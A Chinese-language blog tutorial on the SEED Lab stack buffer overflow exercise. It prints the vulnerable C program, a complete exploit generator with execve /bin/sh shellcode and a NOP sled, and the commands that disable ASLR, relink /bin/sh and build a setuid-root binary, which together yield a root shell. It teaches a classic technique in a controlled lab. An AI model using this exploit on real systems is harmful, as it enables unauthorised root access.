【软件安全】缓冲区溢出攻击(stack overflow)实践
前言
最近在研究stack overflow
的复现,发现网上许多教程都偏老了,且许多关键步骤没有说明清楚,导致小白在一步步操作的时候经常出现无法正确获取shellcode
的情况,本人也是历经诸多大坑,总算是成功复现了这一过程。下面是溢出成功后的效果图。
个中会涉及到参数在函数栈中的存储,栈的返回地址,帧指针,函数如何执行的过程,这部分不再赘述,自行查阅相关资料。
攻击准备
工欲善其事,必先利其器,由于stack overflow
已经是上古时代的漏洞,在现行的许多操作系统发行版中已经做到了很好的保护机制,如果以这些系统作为攻击入口,小白无异以卵击石。因此,我们需要限制一下所用的操作系统,这里给出我使用的环境:
- OS: ubuntu12.04,采用了
SEED LAB
实验室提供的环境,点击这里查看 - 虚拟机软件:Vmware workstation 16
攻击目标与原理
- 攻击目标是获取到操作系统的
root
权限 - 攻击原理是目标程序存在的缓冲区溢出漏洞,构造特定的输入内容覆盖原始的返回地址,以执行相应的
shellcode
。
漏洞程序
下面是漏洞程序(stack.c
)的代码,它所做的主要工作是读取同目录下badfile
文件的内容,并将其复制到函数的临时数组变量buffer[]
中,但输入的内容大于buffer
的容量时,就可能导致数据覆盖函数栈中的返回地址,而攻击者通过精心计算原返回地址的位置,将其替换成shellcode
的地址,从而导致shellcode
执行,获得root
权限。
获取
root
权限的前提是漏洞程序通过root
权限编译,赋予相应root
权限
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];//和原程序不一样的地方在此处,如果没有修改,最终结果会是return properly 无法攻击成功.获得root权限
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
攻击程序
攻击程序(exploit.c
)主要是用来生成指定的badfile
,实现shellcode
的注入,让漏洞程序能够精确执行。其中shellcode
就是让程序执行/bin/sh
的相应汇编代码,程序创建了一个buffer
数组,用于存储shellcode
,同时在shellcode
前面用0x90
(NOP指令,不做操作执行下一条指令)填充,这使得shellcode
有多个入口点,增大执行概率。具体如下:
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer+24,"\x??\x??\x??\x??"); //这里从24填写,但是上面漏洞程序buffer只有12,我也没搞懂
strcpy(buffer+100,shellcode);
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
攻击步骤
总体的攻击步骤包括:
- 关闭现有安全机制 关闭ASLR(内存地址随机化),用
zsh
替换sh
- 以
root
身份编译stack.c
(漏洞程序) - 确定
shellcode
在内存中的地址 - 执行攻击程序,漏洞程序,查看攻击效果
关闭现有安全机制
- 关闭ASLR
linux
系统为了防止stack overflow
,默认采用了ASLR
(内存地址随机化),这导致我们无法确定shellcode
在内存中的位置,为了简便需要关闭# 关闭方式1 sudo sysctl -w kernel.randomize_va_space=0 # 关闭方式2 sudo -s echo 0 > /proc/sys/kernel/randomize_va_space exit
- 用
zsh
替换sh
在ubuntu12.04,ubuntu16.04
中,/bin/sh
实际上指向一个/bin/dash
的链接文件,当其发现自己在一个特权程序中运行时,会将有效用户ID改成实际用户ID,让我们无法获得root
权限。替换方式如下:sudo su cd /bin cp sh sh.bak # 备份 rm sh ln -s zsh sh
还有一种替代解决方案是更改
shellcode
中"\x68""//sh"
为"\x68""/zsh"
以root身份编译漏洞程序
确保程序有root
权限
sudo gcc -g -z execstack -fno-stack-protector -o stack stack.c
sudo chmod u+s stack
确定shellcode
在内存中位置
注意shellcode
本质是被放在badfile
文件中,而漏洞程序读取badfile
复制到buffer
数组中,那么badfile
的起始位置就是stack.c
中buffer
的起始位置,因此我们需要让shellcode
的地址刚好被写在漏洞程序函数bof
返回地址的位置。具体如下图:
用gdk
调试stack
,反汇编main
函数,如下:
gdb stack
disass main
注意红框处的操作,这是main函数执行后栈给局部变量留出的空间,然后我们查看str
的地址,shellcode
应该已经被放置在str
数组中,距离100的位置。
随意找个地方设置断点,并运行,接着查看str
的地址,并计算+100后的地址结果
b *0x080484af
r
p &str
p/x 0xbffff127+100
在exploit.c
中将\x?\x?\x?\x?
的部分用0xbffff18b
地址替换
执行攻击程序
对攻击程序编译并执行得到badfile
,再执行./stack
查看攻击效果。
发现指令非法,说明我们没有正确找到shellcode
指令地址。
这个地方困扰了我很久,是个大坑,后来发现一篇文章中写到
gdb的调试环境会影响buf在内存中的位置,虽然我们关闭了ASLR,但这只能保证buf的地址在gdb的调试环境中不变,但当我们直接执行./stack的时候,buf的位置会固定在别的地址上。
。
即存放shellcode
的地址相比原来会有偏差,因此尝试在找到的shellcode
地址上进行偏移,这里我尝试了许多种,发现将8b
换成ab
是可行的。
再做一次攻击可发现获取到了root权限
说明
shllcode
实际执行相比于调试内存地址偏后了30多位,可以尝试将8b
修改成更后面或附近的数值,如af
,b4
都是可行的。
总结
缓冲区溢出是十分古老却又经典的程序漏洞,许多更近一步的如return-to-libc
,格式化字符串漏洞,都是基于此基础上做的进一步深入攻击,因此掌握最基础的stack overflow
还是很有必要的。这个地方我参考了许多网上许多教程,它们大部分都是调试阶段直接获取到str
或者esp
地址后通过计算相对位置得到shellcode
地址,但根据我的实际操作结果来看有较大出入,实践才是检验真理的唯一标准。参考资料里列举的都是与此实验相关的资料,供读者对比参考。
参考资料
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!